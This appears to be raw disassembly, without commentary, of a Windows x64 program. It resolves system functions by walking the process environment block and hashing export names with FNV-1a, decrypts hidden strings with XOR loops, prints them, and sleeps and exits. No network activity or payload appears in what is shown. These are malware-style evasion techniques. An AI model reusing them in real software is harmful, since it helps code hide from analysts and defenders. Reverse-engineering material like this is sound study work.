mov r8d, r12d
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140025d90
lea rcx, [rsp + 0x20]
call r11
call fcn.140003aa0
movups xmm0, xmmword [0x1400a66c0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400a66d0]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x1400a66e0]
mov dword [rbp - 0x20], eax
movzx eax, word [0x1400a66e4]
mov word [rbp - 0x1c], ax
movzx eax, byte [0x1400a66e6]
mov byte [rbp - 0x1a], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140025e96
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140025e96
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025e91
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025e70
cmp r8d, 0x491e0a9c
je 0x140025e9b
test r9d, r9d
jne 0x140025e50
mov rax, qword [rax]
jmp 0x140025e20
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r12d
cmp r13d, 2
jl 0x14002601b
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400a76c0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140025f10
cmp r8d, 0x27
jge 0x140026063
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140026030
lea rcx, [rbp - 0x40]
call r11
call fcn.140003ae0
movsd xmm0, qword [0x1400a5f28]
movsd qword [rbp - 0x80], xmm0
movzx eax, byte [0x1400a5f30]
mov byte [rbp - 0x78], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140026116
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140026116
mov rax, qword [rax]
jmp 0x1400260a0
mov eax, dword [str.Q_G5_vs]
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x1400277ba
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x1400277ba
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400277b5
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027790
cmp r8d, 0x491e0a9c
je 0x1400277bf
test r9d, r9d
jne 0x140027770
mov rax, qword [rax]
jmp 0x140027740
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x140027877
movdqa xmm3, xmmword [0x1400a76a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7810]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov eax, 5
movd xmm0, eax
psrad xmm2, xmm0
mov eax, Ordinal_33
movd xmm0, eax
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a76c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, dword [rsp + 0x20]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x1400278b3
lea r9, [rsp + 0x20]
mov r8d, r12d
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140027880
lea rcx, [rsp + 0x20]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x14002794a
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x14002794a
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027945
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027920
cmp r8d, 0x2fa62ca8
je 0x14002794f
test r9d, r9d
jne 0x140027900
mov rax, qword [rax]
jmp 0x1400278d0
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
call fcn.140003ba0
movsd xmm0, qword [str._FZ__Y_]
movsd qword [rbp + 8], xmm0
mov eax, dword [str.NQM_]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x1400a6224]
mov byte [rbp + 0x14], al
mov ecx, r12d
cmp r13d, 2
jl 0x140027ab5
movdqa xmm4, xmmword [0x1400a7810]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x1400a76a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a76c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
mov eax, dword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._FZ__Y_]
xorps xmm2, xmm0
movd dword [rbp + 8], xmm2
movdqa xmm3, xmmword [0x1400a76b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a76c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc]
xorps xmm2, xmm1
movd dword [rbp + 0xc], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 8]
add r8, rax
nop
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x140027ac0
lea rdx, [rbp + 8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140027b86
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140027b86
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027b81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027b60
cmp r8d, 0x2fa62ca8
je 0x140027b8b
test r9d, r9d
jne 0x140027b40
mov rax, qword [rax]
jmp 0x140027b10
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
movups xmm0, xmmword [0x1400a4e70]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x1400a4e80]
movups xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [0x1400a4e90]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x1400a4ea0]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x1400a4eb0]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x1400a4ec0]
movups xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [0x1400a4ed0]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1400a4ee0]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x1400a4ef0]
movups xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x1400a4f00]
movsd qword [rbp + 0xb0], xmm0
mov eax, dword [0x1400a4f08]
mov dword [rbp + 0xb8], eax
movzx eax, byte [0x1400a4f0c]
mov byte [rbp + 0xbc], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140027cd6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140027cd6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027cd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027cb0
cmp r8d, 0x491e0a9c
je 0x140027cdb
test r9d, r9d
jne 0x140027c90
mov rax, qword [rax]
jmp 0x140027c60
cmp ecx, 1
je 0x140029882
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140029d60
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x140029863
cmp r13d, 2
jl 0x140029822
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r12d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r12 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r12d, 8
mov eax, r12d
lea rcx, [rcx + 8]
cmp r12d, 0x20
jl 0x140029710
cmp eax, 0x26
jge 0x140029863
movsxd r8, r12d
add r8, r9
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r12b
sub al, dl
add al, 0x32
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x26
jl 0x140029830
mov rdx, r9
mov rcx, rbx
call fcn.14002a370
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x1400a48b0]
movups xmmword [rbp - 8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140029a23
cmp r13d, 2
jl 0x1400299eb
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 4]
mov edx, dword [rsp + 0x50]
movd xmm2, r12d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r12 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r12d, 8
lea rcx, [rcx + 8]
cmp r12d, 0x10
jl 0x1400298e0
jmp 0x140029a23
lea r8, [rbp - 8]
nop
mov eax, 0x8d3dcb09
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r12b
sub al, dl
add al, 0x32
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x10
jl 0x1400299f0
lea rdx, [rbp - 8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140029ada
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140029ada
mov ebx, dword [rdi + 0x20]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140029ad5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140029ab0
cmp r8d, 0x2fa62ca8
je 0x140029ae2
test r9d, r9d
jne 0x140029a80
mov rax, qword [rax]
jmp 0x140029a50
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140029baa
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140029baa
mov ebx, dword [rdi + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140029ba5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140029b80
cmp r8d, 0xcded1a85
je 0x140029bb2
test r9d, r9d
jne 0x140029b50
mov rax, qword [rax]
jmp 0x140029b20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140029c6a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140029c6a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140029c65
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140029c40
cmp r8d, 0x2fa62ca8
je 0x140029c72
test r9d, r9d
jne 0x140029c10
mov rax, qword [rax]
jmp 0x140029be0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x2710
call rdx
nop
lea rcx, [rbp + 0xe0]
call fcn.140029fd0
nop
lea rcx, [rbp + 0x100]
call fcn.140029fd0
nop
lea rcx, [rbp + 0x120]
call fcn.140029fd0
nop
lea rcx, [rbp + 0x140]
call fcn.140029fd0
nop
mov rax, qword [rbp + 0xc8]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x1c8]
mov qword [rcx], rax
xor eax, eax
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.14008fc00
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret